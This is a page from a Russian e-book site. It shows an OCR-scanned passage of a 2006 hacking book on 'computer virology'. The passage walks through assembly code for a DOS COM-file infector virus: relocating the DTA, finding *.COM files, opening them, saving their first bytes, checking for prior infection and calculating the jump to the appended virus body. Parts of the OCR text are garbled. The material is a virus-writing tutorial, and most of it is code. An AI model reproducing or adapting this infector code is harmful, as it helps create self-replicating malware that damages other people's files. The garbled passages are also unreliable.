Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 24 25 26 27 28 29 < 30 > 31 32 33 34 35 36 .. 123 >> Следующая

перемещение слова) и "movsb".
Вы забыли, что такое слово?
Байты
Слово
Двойное слово Четверное слово Параграф Страница
2
4
8
16
256
movedta: lea dx,[bp+OFFSET hide_dta] mov ah.lah int 21 h
97
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Перенося la hex в АН и выполняя int 21, мы устанавливаем DTA - область
обмена с диском. При этом мы адресуемся к локации, указанной в dx. В
нашем случае мы хотим поместить DTA инфицируемого файла в конец нашего
вируса в офсете hide_dta (cnpaTaTb_dta). То есть мы сохраняем DTA и можем
добраться до него в hide_dta + bp.
В конце процесса инфицирования мы перемещаем DTA назад в его
первоначальную локацию в 80 hex. А что такое Disk Transfer Area и зачем
ее нужно перемещать?
DT А
Офсет Размер Функция
Oh 21 байт Зарезервировано
15h 1 байт Атрибуты файла
16h 2 байта (WORD) Время создания файла
18h 2 байта (WORD) Дата создания файла
lAh 4 байта (DWORD) Размер файла
lEh 13 байтов ASCIIZ строка имени и
расширения файла
DTA располагается в префиксе программного сегмента. Когда программа
выполняется, загрузчик программы выстраивает PSP (Program Segment
Prefix), начиная с адреса 00 hex.
PSP имеет длину в 256 байтов (100 hex) и содержит информацию, необходимую
для выполнения программы. DTA размещается в офсете 80 hex PSP. В ней
содержится полезная информация, на которую мы будем ссылаться в вирусе.
При изменении информации в DTA хорошим тоном у вирусмейкеров считается
установка нового DTA во временной локации. При таком подходе DTA
программы-жертвы не будет изменена или испорчена во время инфицирования.
98
ГЛАВА 3. Сложные СОМ-инфекторы
get_one:
mov ah,4eh
lea dx,[bp+comsig]
mov cx,7
next: int 21 h jnc openit jmp bug_out
Этот кусок кода вы уже встречали в переписывающих вирусах. Он находит в
текущей директории первый файл с атрибутами, указанными в сх и dx. В
данном случае мы загрузили в dx запись "*.СОМ", которая определяется в
comsig в области данных вируса.
В сх загружается 7, что означает поиск файлов с любыми атрибутами.
Инструкция прыжка "jnc" тестирует флаг переноса. Если файл найден, флаг
переноса устанавливается в ноль и совершается прыжок к openit. В ином
случае, мы прыгаем к bug out.
openit:
mov ax,3d02h
lea dx,[bp+OFFSEThide_dta+1eh] int 21 h xchg bx.ax
Подпрограмма openit берет найденный файл и открывает его для чтения и
записи с помощью int 21 AX-3d02 hex. В dx мы загружаем адрес строки
файлового имени.
Вы уже знаете, что имя файла сохраняется в DTA (bp+hide_dta) в офсете le
hex. Как только файл открывается, дескриптор файла устанавливается в ах.
Для последующего применения файла мы перемещаем дескриптор в Ьх. Это
делается с помощью инструкции xchg.
Как вы помните, мы могли бы использовать инструкцию "mov Ьх, ах", но она
на один байт длиннее.
99
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
rec_thr: mov ah,3fh lea dx,[bp+thrbyte] mov cx,3 int 21 h
Эта подпрограмма читает запись или некоторое число байтов в указанной
локации. В АН загружается 3f hex, определяя функцию для чтения. В dx
загружается адрес области входных данных или локация, в которой мы хотим
хранить байты. В данном случае байты будут сохраняться в thrbyte + Ьр -
локации, расположенной в области данных вируса.
сх загружается количеством байтов, которые мы собираемся прочитать. Цель
этой функции заключается в сохранении трех первых байтов атакованной
программы в особом месте в вирусе.
Часть кода должна записать прыжок (размещенный в трех первых байтах
зараженной программы) к основному телу вируса (присоединенному к концу
атакованной программы).
infect_chk:
mov ах,word ptr [bp+hide_dta+1ah] mov cx,word ptr [bp+thrbyte+1] add
cx,homy_toad-toad+3 cmp ax.cx jz close_up
Подпрограмма infect_chk проверяет, не является ли открытый файл уже
зараженным. Для этого мы сначала перемещаем размер файла в ах. Размер
файла размещается в офсете la hex в DTA. А наш DTA хранится в bp +
hide_dta.
Далее, мы перемещаем второй и третий байты из bp + thrbyte
в сх.
Если файл уже инфицирован, значение прыжка к основному телу вируса будет
уже находиться в сх.
Если мы добавим длину вируса, плюс три первоначальных байта и сравним
сумму с размером файла в ах, и если два числа
100
ГЛАВА 3. Сложные СОМ-инфекторы
будут равны, то файл уже был заражен, и поэтому мы прыгаем к подпрограмме
close_up.
Если два Числа разные, то контроль передается следующей инструкции в
начале подпрограммы jmp_size.
jmp_size: sub ах,3
mov word ptr [bp+newjump+1],ax
В прошлой подпрограмме infect_chk мы загрузили размер файла в ах. Теперь
надо вычесть "sub", 3 (байта) из размера файла в ах и тем самым учесть 3-
байтовый прыжок, записанный в начале файла. Следовательно, ах теперь
будет содержать расстояние прыжка, необходимого для перемещения к
основному телу вируса.
Чтобы сохранить этот прыжок, мы используем указатели индекса (квадратные
скобки) и добавляем Ьр (дельтаофсет) к офсету нового прыжка, плюс 1 (с
учетом прыжка через е9 hex).
to_begin:
Предыдущая << 1 .. 24 25 26 27 28 29 < 30 > 31 32 33 34 35 36 .. 123 >> Следующая